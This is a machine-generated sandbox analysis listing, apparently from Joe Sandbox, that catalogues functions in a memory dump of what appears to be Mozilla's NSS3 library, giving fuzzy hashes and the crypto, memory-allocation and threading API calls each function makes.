Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: fb83f16fc724022a787ed30e097a472fb28e263552d248cfc04c1657a27cb36e
Instruction ID: ebbf5a1ea02d5237a03c517b2aeba27df4981938710bca21b65dfdb0fb98c347
Opcode Fuzzy Hash: fb83f16fc724022a787ed30e097a472fb28e263552d248cfc04c1657a27cb36e
Instruction Fuzzy Hash: 8F818CB5A006059FEB14CF99DA81BBB7BF5BF88308F24446CE815AB751D734E814CBA1

Function 6CEBCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEBC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEBDAE2,?), ref: 6CEBC6C2

PR_Now.NSS3 ref: 6CEBCD35

Part of subcall function 6CF19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DC6
Part of subcall function 6CF19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DD1
Part of subcall function 6CF19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF19DED

Part of subcall function 6CEA6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE51C6F,00000000,00000004,?,?), ref: 6CEA6C3F

PR_GetCurrentThread.NSS3 ref: 6CEBCD54

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

Part of subcall function 6CEA7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE51CCC,00000000,00000000,?,?), ref: 6CEA729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEBCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CEBCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CEBCE2C

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CEBCE40

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

Part of subcall function 6CEBCEE0: PORT_ArenaMark_Util.NSS3(?,6CEBCD93,?), ref: 6CEBCEEE
Part of subcall function 6CEBCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEBCD93,?), ref: 6CEBCEFC
Part of subcall function 6CEBCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEBCD93,?), ref: 6CEBCF0B
Part of subcall function 6CEBCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEBCD93,?), ref: 6CEBCF1D

Part of subcall function 6CEBCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF47
Part of subcall function 6CEBCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF67
Part of subcall function 6CEBCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CEBCD93,?,?,?,?,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF78

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 60306bc42a5eb405c546e6d3d5f45455136d257af2e8089d5bba687a8f3d86ff
Instruction ID: ca18196185bab8a4f25c5501a982fdf3804ffc29a08f41fea7c11aba1b8f81bd
Opcode Fuzzy Hash: 60306bc42a5eb405c546e6d3d5f45455136d257af2e8089d5bba687a8f3d86ff
Instruction Fuzzy Hash: 22519FB6B041019BEB10DF69DD40BBA77F4AF48358F350528E955ABB40EB31E905CB91

Function 6CECFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CECFFE5

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_EnterMonitor.NSS3(?), ref: 6CED0004
PR_EnterMonitor.NSS3(?), ref: 6CED001B

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 39aadb82e6ca8fa36e0db14fc92fe1c59813cda512b0810e06f15a909040749e
Instruction ID: cf6912bf3df46636d5cd7d85dd70adfa3c900dcda446bfb0564ce44cefebb38a
Opcode Fuzzy Hash: 39aadb82e6ca8fa36e0db14fc92fe1c59813cda512b0810e06f15a909040749e
Instruction Fuzzy Hash: A5415676644680DBE7208A29DC517AB73B1DB4230CF79083DD45BCAF90E7B9B54BC642

Function 6CE8EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CE8EF38

Part of subcall function 6CE79520: PK11_IsLoggedIn.NSS3(00000000,?,6CEA379E,?,00000001,?), ref: 6CE79542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CE8EF53

Part of subcall function 6CE94C20: TlsGetValue.KERNEL32 ref: 6CE94C4C
Part of subcall function 6CE94C20: EnterCriticalSection.KERNEL32(?), ref: 6CE94C60
Part of subcall function 6CE94C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94CA1
Part of subcall function 6CE94C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CE94CBE
Part of subcall function 6CE94C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94CD2
Part of subcall function 6CE94C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94D3A

PR_GetCurrentThread.NSS3 ref: 6CE8EF9E

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

free.MOZGLUE(00000000), ref: 6CE8EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE8F016
free.MOZGLUE(00000000), ref: 6CE8F022

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 184a5a1e6c579485c237b43e21ce02186d7a43169fc72258911b7636cf4fb23e
Instruction ID: 857dfe920c5941a56e1e768968783f50102e164371194086a1e8b7c32e73cd1b
Opcode Fuzzy Hash: 184a5a1e6c579485c237b43e21ce02186d7a43169fc72258911b7636cf4fb23e
Instruction Fuzzy Hash: 644171B1E01109AFDF018FE9DC45BEE7AB9AF48358F244029F918A7350E775C9158BA1

Function 6CE7CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CE7CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CE7D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CE7D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7D025
PR_NewLock.NSS3 ref: 6CE7D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE7D074

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 78f1d524bf522f648fe115a762e93f76dad3239562ddd7d5ad13264882ffea6a
Instruction ID: 37f52dd3845ad234a48a708af266c1fb97d7d264b86586f2623a5323e28cfe41
Opcode Fuzzy Hash: 78f1d524bf522f648fe115a762e93f76dad3239562ddd7d5ad13264882ffea6a
Instruction Fuzzy Hash: E5419FB4A012118FEB20DF29D88479A7BF5EF08328F31516ADC198BB46D774D985CBB1

Function 6CEC3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEC3FF2

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CEC4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CEC400F

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CEC4054

Part of subcall function 6CE5BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CE5BC24
Part of subcall function 6CE5BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE5BC39
Part of subcall function 6CE5BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CE5BC58
Part of subcall function 6CE5BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CE5BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEC4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CEC40CD

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 7c5012b15a47fe70b4c13eac9ad5a6a3a17f15f4907e11f7df211a26b64060f4
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 7031C7B2F4034197EB009F649E42BBA3374AF9161CF244229ED199B742F771E95982A3

Function 6CE62E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CE52D1A), ref: 6CE62E7E

Part of subcall function 6CEB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE58298,?,?,?,6CE4FCE5,?), ref: 6CEB07BF
Part of subcall function 6CEB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEB07E6
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB081B
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB0825

PR_Now.NSS3 ref: 6CE62EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CE62EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CE52D1A), ref: 6CE62F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CE52D1A), ref: 6CE62F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CE62F81

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: b69c8bfcdd02fdc54e466797a980007dfabd98e84f1aa75f5d23beef3455b196
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: AC3145709611008BE710C667CC4ABAEB275EFB135CF74497AC429B7ED1EB31988AC752

Function 6CE50E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CE50A2C), ref: 6CE50E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CE50A2C), ref: 6CE50E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CE50A2C), ref: 6CE50E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CE50A2C), ref: 6CE50E90
free.MOZGLUE(00000000), ref: 6CE50EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CE50A2C), ref: 6CE50ED9

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 5b072e638485e47dd44624ee74d72043ff9ba0ce4a8eabb828ce5122c9f59f02
Instruction ID: a57bdbea1866140d4916067497bab74cc8800e025d8a097f71423ef34042b024
Opcode Fuzzy Hash: 5b072e638485e47dd44624ee74d72043ff9ba0ce4a8eabb828ce5122c9f59f02
Instruction Fuzzy Hash: 2F210C73B002845BEF1045655C45B6B72BA9B8275CFB94439F81967B02EE62D8358291

Function 6CE5AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE5AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CE5AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE5AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE5AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CF79500), ref: 6CE5AF23

Part of subcall function 6CEAF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CEAF0C8
Part of subcall function 6CEAF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEAF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5AF37

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 19cf52c9c54f56a16979193d47e0860bfa69738328050ed434e8ce3ab8885447
Instruction ID: 35673047e8f6f1ba935dba3cf621f0813f3663ed480ab5268596c68a78d09ec8
Opcode Fuzzy Hash: 19cf52c9c54f56a16979193d47e0860bfa69738328050ed434e8ce3ab8885447
Instruction Fuzzy Hash: C62106B1949200AAE7108F189C42BAA7BB4AF8572CF744319E854AB780E733D55587B2

Function 6CEDEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEDEE85
realloc.MOZGLUE(E0CED868,?), ref: 6CEDEEAE
PORT_Alloc_Util.NSS3(?), ref: 6CEDEEC5

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

htonl.WSOCK32(?), ref: 6CEDEEE3
htonl.WSOCK32(00000000,?), ref: 6CEDEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CEDEF01

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 02c066b0709aa762b49ce605212f33dd192c13e04e43da1716ce9c8abc8a4a28
Instruction ID: f305e5edec5d92b95f1f57ac8982be8544f23514be88c48da56cd83260970825
Opcode Fuzzy Hash: 02c066b0709aa762b49ce605212f33dd192c13e04e43da1716ce9c8abc8a4a28
Instruction Fuzzy Hash: 1221AD72A006159BDB109F28DC84B9AB7B4EF49358F268169EC199B741E730F815CBE2

Function 6CE57F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE57F68

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CE57F7B

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE57FA7

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF7919C,?), ref: 6CE57FBB

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE57FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CF7915C,00000014), ref: 6CE57FFE

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 9670ea59ec3b87ebaab8ae07636e8edc081081de7fb05a106cd531f3d2fadb40
Instruction ID: ef8cfca95c565408f76f5bc28c5e16a13b31e38889bb9cb5d636767030de4072
Opcode Fuzzy Hash: 9670ea59ec3b87ebaab8ae07636e8edc081081de7fb05a106cd531f3d2fadb40
Instruction Fuzzy Hash: DB1154B1D142049AE610DA25AD42BBB72BCDF4465CF60462DEC59D6B81FB22E928C2B1

Function 6CE5BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CEDDC29,?), ref: 6CE5BE64

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
